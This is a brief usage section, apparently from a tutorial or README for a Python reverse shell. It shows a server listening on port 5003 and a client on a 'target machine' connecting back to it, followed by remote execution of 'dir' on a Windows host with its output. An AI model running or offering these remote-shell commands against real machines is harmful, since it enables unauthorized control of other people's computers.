You don't need to install anything.
- To run the server, simply write:
Output:
python server.py
Listening as 0.0.0.0:5003 ...
- Running the client (target machine) that connects to 192.168.1.104 (server's IP Address) :
Output:
python client.py 192.168.1.104
Server: Hello and Welcome
- The server will get notified once a client is connected, executing
dir
command on Windows remotely (inserver.py
):192.168.1.103:58428 Connected! Enter the command you wanna execute:dir Volume in drive E is DATA Volume Serial Number is 644B-A12C Directory of E:\test 09/24/2019 02:15 PM <DIR> . 09/24/2019 02:15 PM <DIR> .. 0 File(s) 0 bytes 2 Dir(s) 89,655,123,968 bytes free Enter the command you wanna execute:exit